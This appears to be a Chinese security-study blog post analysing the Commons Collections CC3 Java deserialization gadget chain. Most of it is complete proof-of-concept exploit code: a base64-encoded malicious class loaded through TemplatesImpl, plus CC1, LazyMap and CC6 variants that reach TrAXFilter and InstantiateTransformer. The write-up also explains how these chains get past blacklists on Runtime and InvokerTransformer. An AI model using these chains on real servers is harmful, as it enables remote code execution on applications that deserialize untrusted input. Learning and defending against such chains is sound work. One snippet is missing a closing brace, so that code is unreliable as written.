CC3分析与利用
前面学了cc1和cc6都是通过调用 Runtime().getRuntime().exec()
来进行的命令执行,但很多时候服务器的代码当中的黑名单会选择禁用 Runtime 还有就是有些时候链子末尾没法反射调用恶意类。这时就可以在最后执行命令的时候变为动态加载字节码来进行恶意命令执行。
cc3其实就是cc1和Temlatesimpl
动态加载字节码加了在一起。动态加载字节码参考[[../../java 安全基础/java动态加载字节码|../java基础/java动态加载字节码]]
Temlatesimpl
动态加载字节码的poc:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class CC3test {
public static void main(String[] args) throws Exception {
TemplatesImpl tem =new TemplatesImpl();
byte[] code=Base64.getDecoder().decode("yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAR0aGlzAQAITGdhb3JlbjsBAA1TdGFja01hcFRhYmxlBwArBwApAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAtnYW9yZW4uamF2YQwACQAKBwAuDAAvADABAARjYWxjDAAxADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAAzAAoBAAZnYW9yZW4BAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAAAwABAAkACgABAAsAAAB8AAIAAgAAABYqtwABuAACEgO2AARXpwAITCu2AAaxAAEABAANABAABQADAAwAAAAaAAYAAAAIAAQACgANAA0AEAALABEADAAVAA4ADQAAABYAAgARAAQADgAPAAEAAAAWABAAEQAAABIAAAAQAAL/ABAAAQcAEwABBwAUBAABABUAFgACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAEQANAAAAIAADAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABABkAGgACABsAAAAEAAEAHAABABUAHQACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAEwANAAAAKgAEAAAAAQAQABEAAAAAAAEAFwAYAAEAAAABAB4AHwACAAAAAQAgACEAAwAbAAAABAABABwAAQAiAAAAAgAj");
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
tem.newTransformer();
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
Temlatesimpl
动态加载字节码的链子:
TransformerImpl.getOutputProperties()
TransformerImpl.newTransformer()
TransformerImpl.getTransletInstance()
TransformerImpl.defineTransletClasses()
TransformerImpl.defineclass()
CC1+Temlatesimpl
这里动态加载字节码执行恶意命令一看就是放到最后的,所以现在只需要接着cc1的链子把最后transform
反射调用Runtime.getruntime()
变为反射调用TransformerImpl.newTransformer()
,
poc:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CC3test {
public static void main(String[] args) throws Exception {
TemplatesImpl tem =new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(tem),
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer cha=new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
map.put("value","aaa");
Map<Object,Object> tmap=TransformedMap.decorate(map,null,cha);//静态方法调用
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
Object obj=con.newInstance(Target.class,tmap);
serilize(obj);
deserilize("ser.bin");
}
public static void serilize(Object obj)throws IOException{
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
执行弹出计算机:
CC1(LazyMap)+Temlatesimpl
和上面一样的把最后Runtime.getRuntime()
改为TransformerImpl.newTransformer()
,
poc:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Repeatable;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class CC3test {
public static void main(String[] args) throws Exception {
TemplatesImpl tem =new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(tem),
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer cha=new ChainedTransformer(transformers);
InvokerTransformer t = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("entrySe","entrySet"); //可以不用设,不要把key设为entrySet,不然不满足lazy.get条件
Map<Object,Object> Lazy = LazyMap.decorate(map,cha);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
InvocationHandler hand=(InvocationHandler)con.newInstance(Override.class,Lazy);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},hand);
InvocationHandler in =(InvocationHandler) con.newInstance(Repeatable.class,proxyMap);
serilize(in);
deserilize("serr.bin");
}
public static void serilize(Object obj)throws IOException{
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("serr.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
执行
当然Temlatesimpl和CC1结合就注定了其只能在jdk8u71之前的版本使用,对于其他版本的呢?
不难想到其还可以和CC6结合使用
CC6+Timlatesimpl
poc:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.nio.file.Files;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.nio.file.Paths;
public class CC3test {
public static void main(String[] args) throws Exception {
TemplatesImpl tem =new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(tem),
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put(Tie,"gaoren");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy, cha);
Lazy.remove("aaa");
serilize(hashmap);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
执行:
CC3链子分析
有些黑名单除了过滤了Runtime
还有可能过滤了InvokerTransformer
,所以Temlatesmpl
除了可以和cc1,cc6结合使用,还有其他链子可以使用,就是接下来要分析的cc3(其实也就是最后那里改变了一下)。
上面的cc1和cc6最后都是调用的newTransformer()
方法,所以接着该方法向上找,最后发现在TrAXFilter
类的构造函数中进行了调用,并且参数 templates可以由构造参数进行控制
但是发现其没有继承反序列化接口,所以还得和Runtime一样利用其class类来进行反射调用。不过不同的是这里使用的是InstantiateTransformer
类的transform
方法,看看其transform
方法
可以看到先判断是否是class类,然后获得有参数构造函数,最后进行实例化。
(当然这利用InvokerTransformer
的transform
也能实现,先调用其class的getConstructor
方法然后调用newInstance
方法,不过如果能用这个transform
方法的话还不如像前面一样直接调用newTransformer()
)
先构造手动调用InstantiateTransformer.tranform
方法的poc:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.nio.file.Files;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.nio.file.Paths;
public class CC3test {
public static void main(String[] args) throws Exception {
TemplatesImpl tem =new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tem})
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform("aaa");
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
执行
然后剩下的就没什么了,接着cc1或者cc6的前部分就行了。 我这里就用cc6了,
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import java.io.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.nio.file.Files;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.nio.file.Paths;
public class CC3test {
public static void main(String[] args) throws Exception {
TemplatesImpl tem =new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:/gaoren.class"));
setValue(tem, "_bytecodes", new byte[][]{code});
setValue(tem, "_tfactory", new TransformerFactoryImpl());
setValue(tem, "_name", "gaoren");
setValue(tem, "_class", null);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tem})
};
Transformer cha = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put(Tie,"gaoren");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy, cha);
Lazy.remove("aaa");
//serilize(hashmap);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
public static void setValue(Object obj,String fieldName,Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
补充
一、
除了Temlatesimpl
动态加载字节码还可不可以配合其他的如ClassLoader.defineClass
和BCEL来加载字节码,
起初以为是因为这两个最后都需要多调用newInstance()
方法进行实例化,但后面发现如果可以调用InvokerTransformer
的话这个好像也不是问题。
所以又去看了 nivia 师傅的文章:
-
因为
ClassLoader.defineClass
方法是保护属性,在进行反射调用的时候需要执行Method.setAccessible(true);
进行权限修改,而Method.setAccessible(true);
没有返回值,会导致了断掉了后面Transformer.transform
方法的调用。 -
com.sun.org.apache.bcel.internal.util.ClassLoader
是没有实现Serializable
接口的,不能进行发序列化(虽然我也没去试能不能利用反射进行构造)
二、
上面 cc1 和 cc6 结合 temlatesimpl
使用中,_tfactory
是 transient
属性,不能被反序列化,所以我们通过反射给其赋的值没有任何作用,反射赋值只是方便我们的直接调用。那最后为什么又能打通呢,我们把上面的反射赋值注释掉。进行调试
发现在调用hashmap
的readObject
的时候执行s.readObject
,跟进
来到了TemplatesImpl
的readObject
方法,在这里对_tfactory
进行了赋值: